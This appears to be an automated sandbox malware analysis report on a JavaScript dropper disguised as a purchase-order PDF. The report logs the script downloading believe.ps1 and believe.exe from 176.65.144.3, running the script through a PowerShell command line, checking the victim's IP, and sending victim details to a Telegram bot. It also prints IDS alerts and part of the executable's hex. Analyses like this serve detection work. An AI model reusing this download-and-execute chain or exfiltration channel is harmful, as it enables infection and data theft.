Source: PO-2513203-PDF.js	Return value : ['WR0Ngd/cSCoDWP5WW7FdOuf+DW,CreateTextFile,CreateFolder,WQZcRmkrv8ora8k+W4fbAW0,Failed to execute Pow', 'CreateTextFile,CreateFolder,WQZcRmkrv8ora8k+W4fbAW0,Failed to execute PowerShell script: ,WRWltamX,W', 'WRfjWRCjbZDdCghdOmoxWQhdSa,C:\\Temp,WR0Ngd/cSCoDWP5WW7FdOuf+DW,CreateTextFile,CreateFolder,WQZcRmkrv8', 'WQZcRmkrv8ora8k+W4fbAW0,Failed to execute PowerShell script: ,WRWltamX,WScript.Shell,64ceoRBl,w1bJW5', 'C:\\Temp,WR0Ngd/cSCoDWP5WW7FdOuf+DW,CreateTextFile,CreateFolder,WQZcRmkrv8ora8k+W4fbAW0,Failed to exe']	Go to definition
Source: PO-2513203-PDF.js	Return value : ['WR0Ngd/cSCoDWP5WW7FdOuf+DW,CreateTextFile,CreateFolder,WQZcRmkrv8ora8k+W4fbAW0,Failed to execute Pow', 'CreateTextFile,CreateFolder,WQZcRmkrv8ora8k+W4fbAW0,Failed to execute PowerShell script: ,WRWltamX,W', 'WRfjWRCjbZDdCghdOmoxWQhdSa,C:\\Temp,WR0Ngd/cSCoDWP5WW7FdOuf+DW,CreateTextFile,CreateFolder,WQZcRmkrv8', 'WQZcRmkrv8ora8k+W4fbAW0,Failed to execute PowerShell script: ,WRWltamX,WScript.Shell,64ceoRBl,w1bJW5', 'C:\\Temp,WR0Ngd/cSCoDWP5WW7FdOuf+DW,CreateTextFile,CreateFolder,WQZcRmkrv8ora8k+W4fbAW0,Failed to exe']	Go to definition
Source: PO-2513203-PDF.js	Return value : ['WR0Ngd/cSCoDWP5WW7FdOuf+DW,CreateTextFile,CreateFolder,WQZcRmkrv8ora8k+W4fbAW0,Failed to execute Pow', 'CreateTextFile,CreateFolder,WQZcRmkrv8ora8k+W4fbAW0,Failed to execute PowerShell script: ,WRWltamX,W', 'WRfjWRCjbZDdCghdOmoxWQhdSa,C:\\Temp,WR0Ngd/cSCoDWP5WW7FdOuf+DW,CreateTextFile,CreateFolder,WQZcRmkrv8', 'WQZcRmkrv8ora8k+W4fbAW0,Failed to execute PowerShell script: ,WRWltamX,WScript.Shell,64ceoRBl,w1bJW5', 'C:\\Temp,WR0Ngd/cSCoDWP5WW7FdOuf+DW,CreateTextFile,CreateFolder,WQZcRmkrv8ora8k+W4fbAW0,Failed to exe']	Go to definition
Source: PO-2513203-PDF.js	Argument value : ['WR0Ngd/cSCoDWP5WW7FdOuf+DW,CreateTextFile,CreateFolder,WQZcRmkrv8ora8k+W4fbAW0,Failed to execute Pow', '"PowerShell -NoProfile -ExecutionPolicy RemoteSigned -File "C:\\Temp\\WTRTRWFSHS.ps1"",0,true', 'CreateTextFile,CreateFolder,WQZcRmkrv8ora8k+W4fbAW0,Failed to execute PowerShell script: ,WRWltamX,W', 'WRfjWRCjbZDdCghdOmoxWQhdSa,C:\\Temp,WR0Ngd/cSCoDWP5WW7FdOuf+DW,CreateTextFile,CreateFolder,WQZcRmkrv8', 'WQZcRmkrv8ora8k+W4fbAW0,Failed to execute PowerShell script: ,WRWltamX,WScript.Shell,64ceoRBl,w1bJW5', 'C:\\Temp,WR0Ngd/cSCoDWP5WW7FdOuf+DW,CreateTextFile,CreateFolder,WQZcRmkrv8ora8k+W4fbAW0,Failed to exe']	Go to definition
Source: PO-2513203-PDF.js	Return value : ['WR0Ngd/cSCoDWP5WW7FdOuf+DW,CreateTextFile,CreateFolder,WQZcRmkrv8ora8k+W4fbAW0,Failed to execute Pow', '"PowerShell -NoProfile -ExecutionPolicy RemoteSigned -File "C:\\Temp\\WTRTRWFSHS.ps1"",0,true', 'CreateTextFile,CreateFolder,WQZcRmkrv8ora8k+W4fbAW0,Failed to execute PowerShell script: ,WRWltamX,W', 'WRfjWRCjbZDdCghdOmoxWQhdSa,C:\\Temp,WR0Ngd/cSCoDWP5WW7FdOuf+DW,CreateTextFile,CreateFolder,WQZcRmkrv8', 'WQZcRmkrv8ora8k+W4fbAW0,Failed to execute PowerShell script: ,WRWltamX,WScript.Shell,64ceoRBl,w1bJW5', 'C:\\Temp,WR0Ngd/cSCoDWP5WW7FdOuf+DW,CreateTextFile,CreateFolder,WQZcRmkrv8ora8k+W4fbAW0,Failed to exe']	Go to definition
Source: PO-2513203-PDF.js	Return value : ['"WScript.Shell"', 'WR0Ngd/cSCoDWP5WW7FdOuf+DW,CreateTextFile,CreateFolder,WQZcRmkrv8ora8k+W4fbAW0,Failed to execute Pow', '"PowerShell -NoProfile -ExecutionPolicy RemoteSigned -File "C:\\Temp\\WTRTRWFSHS.ps1"",0,true', 'CreateTextFile,CreateFolder,WQZcRmkrv8ora8k+W4fbAW0,Failed to execute PowerShell script: ,WRWltamX,W', '"Scripting.FileSystemObject"', 'WRfjWRCjbZDdCghdOmoxWQhdSa,C:\\Temp,WR0Ngd/cSCoDWP5WW7FdOuf+DW,CreateTextFile,CreateFolder,WQZcRmkrv8', 'WQZcRmkrv8ora8k+W4fbAW0,Failed to execute PowerShell script: ,WRWltamX,WScript.Shell,64ceoRBl,w1bJW5', 'C:\\Temp,WR0Ngd/cSCoDWP5WW7FdOuf+DW,CreateTextFile,CreateFolder,WQZcRmkrv8ora8k+W4fbAW0,Failed to exe']	Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 4x nop then jmp 00E947D7h	10_2_00E94688
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 4x nop then jmp 00E9482Ch	10_2_00E94688
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 4x nop then jmp 00ECF45Dh	11_2_00ECF2C0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 4x nop then jmp 00ECF45Dh	11_2_00ECF4AC
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 4x nop then jmp 00ECF45Dh	11_2_00ECF52F
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 4x nop then jmp 00ECFC19h	11_2_00ECF960
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 4x nop then jmp 06842D41h	11_2_06842A90
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 4x nop then jmp 06843308h	11_2_06842EF0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 4x nop then jmp 0684DD71h	11_2_0684DAC8
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 4x nop then jmp 06843308h	11_2_06842EE7
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 4x nop then jmp 0684D4C1h	11_2_0684D218
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 4x nop then jmp 06843308h	11_2_06843236
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 4x nop then jmp 0684D919h	11_2_0684D670
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	11_2_06840673
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 4x nop then jmp 0684EA79h	11_2_0684E7D0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 4x nop then jmp 0684E1C9h	11_2_0684DF20
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 4x nop then jmp 06840D0Dh	11_2_06840B30
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 4x nop then jmp 068416F8h	11_2_06840B30
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 4x nop then jmp 0684E621h	11_2_0684E378
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 4x nop then jmp 0684F329h	11_2_0684F080
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 4x nop then jmp 0684F781h	11_2_0684F4D8
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 4x nop then jmp 0684EED1h	11_2_0684EC28
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	11_2_06840040
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	11_2_06840853
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 4x nop then jmp 0684D069h	11_2_0684CDC0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 4x nop then jmp 0684FBD9h	11_2_0684F930

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2018856 - Severity 1 - ET MALWARE Windows executable base64 encoded : 176.65.144.3:80 -> 192.168.2.4:49717
Source: Network traffic	Suricata IDS: 1810007 - Severity 1 - Joe Security ANOMALY Telegram Send Message : 192.168.2.4:49742 -> 149.154.167.220:443

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\wscript.exe

Network Connect: 176.65.144.3 80

Jump to behavior

JavaScript source code contains functionality to generate code involving HTTP requests or file downloads

Source: PO-2513203-PDF.js	Argument value : ['"MSXML2.XMLHTTP"']	Go to definition
Source: PO-2513203-PDF.js	Argument value : ['"GET","http://176.65.144.3/dev/believe.ps1",false']	Go to definition
Source: PO-2513203-PDF.js	Return value : ['WR0Ngd/cSCoDWP5WW7FdOuf+DW,CreateTextFile,CreateFolder,WQZcRmkrv8ora8k+W4fbAW0,Failed to execute Pow', 'CreateTextFile,CreateFolder,WQZcRmkrv8ora8k+W4fbAW0,Failed to execute PowerShell script: ,WRWltamX,W', 'WRfjWRCjbZDdCghdOmoxWQhdSa,C:\\Temp,WR0Ngd/cSCoDWP5WW7FdOuf+DW,CreateTextFile,CreateFolder,WQZcRmkrv8', 'WQZcRmkrv8ora8k+W4fbAW0,Failed to execute PowerShell script: ,WRWltamX,WScript.Shell,64ceoRBl,w1bJW5']	Go to definition
Source: PO-2513203-PDF.js	Return value : ['WR0Ngd/cSCoDWP5WW7FdOuf+DW,CreateTextFile,CreateFolder,WQZcRmkrv8ora8k+W4fbAW0,Failed to execute Pow', 'CreateTextFile,CreateFolder,WQZcRmkrv8ora8k+W4fbAW0,Failed to execute PowerShell script: ,WRWltamX,W', 'WRfjWRCjbZDdCghdOmoxWQhdSa,C:\\Temp,WR0Ngd/cSCoDWP5WW7FdOuf+DW,CreateTextFile,CreateFolder,WQZcRmkrv8', 'C:\\Temp,WR0Ngd/cSCoDWP5WW7FdOuf+DW,CreateTextFile,CreateFolder,WQZcRmkrv8ora8k+W4fbAW0,Failed to exe']	Go to definition
Source: PO-2513203-PDF.js	Argument value : ['"MSXML2.XMLHTTP","BK7$"']	Go to definition
Source: PO-2513203-PDF.js	Return value : ['WRfjWRCjbZDdCghdOmoxWQhdSa,C:\\Temp,WR0Ngd/cSCoDWP5WW7FdOuf+DW,CreateTextFile,CreateFolder,WQZcRmkrv8']	Go to definition
Source: PO-2513203-PDF.js	Argument value : ['"http://176.65.144.3/dev/believe.ps1","C:\\Temp\\WTRTRWFSHS.ps1"']	Go to definition
Source: PO-2513203-PDF.js	Return value : ['WRfjWRCjbZDdCghdOmoxWQhdSa,C:\\Temp,WR0Ngd/cSCoDWP5WW7FdOuf+DW,CreateTextFile,CreateFolder,WQZcRmkrv8']	Go to definition
Source: PO-2513203-PDF.js	Return value : ['WRfjWRCjbZDdCghdOmoxWQhdSa,C:\\Temp,WR0Ngd/cSCoDWP5WW7FdOuf+DW,CreateTextFile,CreateFolder,WQZcRmkrv8']	Go to definition
Source: PO-2513203-PDF.js	Return value : ['WR0Ngd/cSCoDWP5WW7FdOuf+DW,CreateTextFile,CreateFolder,WQZcRmkrv8ora8k+W4fbAW0,Failed to execute Pow', 'WRfjWRCjbZDdCghdOmoxWQhdSa,C:\\Temp,WR0Ngd/cSCoDWP5WW7FdOuf+DW,CreateTextFile,CreateFolder,WQZcRmkrv8', 'C:\\Temp,WR0Ngd/cSCoDWP5WW7FdOuf+DW,CreateTextFile,CreateFolder,WQZcRmkrv8ora8k+W4fbAW0,Failed to exe']	Go to definition
Source: PO-2513203-PDF.js	Return value : ['"MSXML2.XMLHTTP"']	Go to definition
Source: PO-2513203-PDF.js	Argument value : ['"MSXML2.XMLHTTP","BK7$"']	Go to definition
Source: PO-2513203-PDF.js	Argument value : ['"MSXML2.XMLHTTP"']	Go to definition
Source: PO-2513203-PDF.js	Argument value : ['"http://176.65.144.3/dev/believe.ps1","C:\\Temp\\WTRTRWFSHS.ps1"']	Go to definition
Source: PO-2513203-PDF.js	Return value : ['"MSXML2.XMLHTTP"']	Go to definition

Uses the Telegram API (likely for C&C communication)

Source: unknown

DNS query: name: api.telegram.org

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 13 Mar 2025 09:22:03 GMTServer: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30Last-Modified: Mon, 17 Feb 2025 11:23:00 GMTETag: "43600-62e54bf3d7570"Accept-Ranges: bytesContent-Length: 275968Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 68 ba 8e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 50 00 00 20 04 00 00 14 00 00 00 00 00 00 7e 3e 04 00 00 20 00 00 00 40 04 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 04 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 30 3e 04 00 4b 00 00 00 00 40 04 00 17 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 04 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 1e 04 00 00 20 00 00 00 20 04 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 17 10 00 00 00 40 04 00 00 12 00 00 00 22 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 60 04 00 00 02 00 00 00 34 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 3e 04 00 00 00 00 00 48 00 00 00 02 00 05 00 8c 9e 02 00 a4 9f 01 00 03 00 00 00 ab 00 00 06 d4 9d 02 00 b8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 83 7d fc 0f 8e b3 e8 69 73 af ff 00 00 00 00 00 00 01 02 03 04 06 08 08 00 00 00 00 00 00 00 00 7e 00 00 00 46 00 00 00 40 00 00 00 37 00 00 00 25 00 00 00 6d 00 00 00 24 00 00 00 7e 00 00 00 7e 00 00 00 64 00 00 00 72 00 00 00 61 00 00 00 47 00 00 00 6f 00 00 00 6e 00 00 00 7e 00 00 00 1e 02 28 20 00 00 0a 2a 26 00 02 28 21 00 00 0a 00 2a ce 73 22 00 00 0a 80 01 00 00 04 73 23 00 00 0a 80 02 00 00 04 73 24 00 00 0a 80 03 00 00 04 73 25 00 00 0a 80 04 00 00 04 73 26 00 00 0a 80 05 00 00 04 2a 5a 00 03 fe 16 06 00 00 1b 6f 39 00 00 0a 00 03 fe 15 06 00 00 1b 2a 26 00 02 28 3a 00 00 0a 00 2a 26 00 03 fe 15 06 00 00 1b 2a 22 00 02 80 09 00 00 04 2a 56 73 1d 00 00 06 28 43 00 00 0a 74 09 00 00 02 80 0a 00 00 04 2a 1e 02 28 44 00 00 0a 2a 22 7e 0b 00 00 04 2b 00 2a 22 7e 0c 00 00 04 2b 00 2a 22 7e 0d 00 00 04 2b 00 2a 1e 02 80 0d 00 00 04 2a 22 7e 0e 00 00 04 2b 00 2a 22 7e 0f 00

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:445817%0D%0ADate%20and%20Time:%2014/03/2025%20/%2012:09:26%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20445817%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /dev/believe.exe HTTP/1.1Host: 176.65.144.3Connection: Keep-Alive

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 104.21.112.1 104.21.112.1
Source: Joe Sandbox View	IP Address: 104.21.112.1 104.21.112.1
Source: Joe Sandbox View	IP Address: 132.226.247.73 132.226.247.73

Source: Joe Sandbox View

ASN Name: PALTEL-ASPALTELAutonomousSystemPS PALTEL-ASPALTELAutonomousSystemPS

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49728 -> 132.226.247.73:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49725 -> 132.226.247.73:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49727 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49729 -> 104.21.112.1:443

Source: global traffic	HTTP traffic detected: GET /dev/believe.ps1 HTTP/1.1Accept: /Accept-Language: en-chUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 176.65.144.3Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: unknown

HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.4:49726 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 176.65.144.3
Source: unknown	TCP traffic detected without corresponding DNS query: 176.65.144.3
Source: unknown	TCP traffic detected without corresponding DNS query: 176.65.144.3
Source: unknown	TCP traffic detected without corresponding DNS query: 176.65.144.3
Source: unknown	TCP traffic detected without corresponding DNS query: 176.65.144.3
Source: unknown	TCP traffic detected without corresponding DNS query: 176.65.144.3
Source: unknown	TCP traffic detected without corresponding DNS query: 176.65.144.3
Source: unknown	TCP traffic detected without corresponding DNS query: 176.65.144.3
Source: unknown	TCP traffic detected without corresponding DNS query: 176.65.144.3
Source: unknown	TCP traffic detected without corresponding DNS query: 176.65.144.3
Source: unknown	TCP traffic detected without corresponding DNS query: 176.65.144.3
Source: unknown	TCP traffic detected without corresponding DNS query: 176.65.144.3
Source: unknown	TCP traffic detected without corresponding DNS query: 176.65.144.3
Source: unknown	TCP traffic detected without corresponding DNS query: 176.65.144.3
Source: unknown	TCP traffic detected without corresponding DNS query: 176.65.144.3
Source: unknown	TCP traffic detected without corresponding DNS query: 176.65.144.3
Source: unknown	TCP traffic detected without corresponding DNS query: 176.65.144.3
Source: unknown	TCP traffic detected without corresponding DNS query: 176.65.144.3
Source: unknown	TCP traffic detected without corresponding DNS query: 176.65.144.3
Source: unknown	TCP traffic detected without corresponding DNS query: 176.65.144.3
Source: unknown	TCP traffic detected without corresponding DNS query: 176.65.144.3
Source: unknown	TCP traffic detected without corresponding DNS query: 176.65.144.3
Source: unknown	TCP traffic detected without corresponding DNS query: 176.65.144.3
Source: unknown	TCP traffic detected without corresponding DNS query: 176.65.144.3
Source: unknown	TCP traffic detected without corresponding DNS query: 176.65.144.3
Source: unknown	TCP traffic detected without corresponding DNS query: 176.65.144.3
Source: unknown	TCP traffic detected without corresponding DNS query: 176.65.144.3
Source: unknown	TCP traffic detected without corresponding DNS query: 176.65.144.3
Source: unknown	TCP traffic detected without corresponding DNS query: 176.65.144.3
Source: unknown	TCP traffic detected without corresponding DNS query: 176.65.144.3
Source: unknown	TCP traffic detected without corresponding DNS query: 176.65.144.3
Source: unknown	TCP traffic detected without corresponding DNS query: 176.65.144.3
Source: unknown	TCP traffic detected without corresponding DNS query: 176.65.144.3
Source: unknown	TCP traffic detected without corresponding DNS query: 176.65.144.3
Source: unknown	TCP traffic detected without corresponding DNS query: 176.65.144.3
Source: unknown	TCP traffic detected without corresponding DNS query: 176.65.144.3
Source: unknown	TCP traffic detected without corresponding DNS query: 176.65.144.3
Source: unknown	TCP traffic detected without corresponding DNS query: 176.65.144.3
Source: unknown	TCP traffic detected without corresponding DNS query: 176.65.144.3
Source: unknown	TCP traffic detected without corresponding DNS query: 176.65.144.3
Source: unknown	TCP traffic detected without corresponding DNS query: 176.65.144.3
Source: unknown	TCP traffic detected without corresponding DNS query: 176.65.144.3
Source: unknown	TCP traffic detected without corresponding DNS query: 176.65.144.3
Source: unknown	TCP traffic detected without corresponding DNS query: 176.65.144.3
Source: unknown	TCP traffic detected without corresponding DNS query: 176.65.144.3
Source: unknown	TCP traffic detected without corresponding DNS query: 176.65.144.3
Source: unknown	TCP traffic detected without corresponding DNS query: 176.65.144.3
Source: unknown	TCP traffic detected without corresponding DNS query: 176.65.144.3
Source: unknown	TCP traffic detected without corresponding DNS query: 176.65.144.3
Source: unknown	TCP traffic detected without corresponding DNS query: 176.65.144.3

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:445817%0D%0ADate%20and%20Time:%2014/03/2025%20/%2012:09:26%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20445817%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /dev/believe.ps1 HTTP/1.1Accept: /Accept-Language: en-chUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 176.65.144.3Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /dev/believe.exe HTTP/1.1Host: 176.65.144.3Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
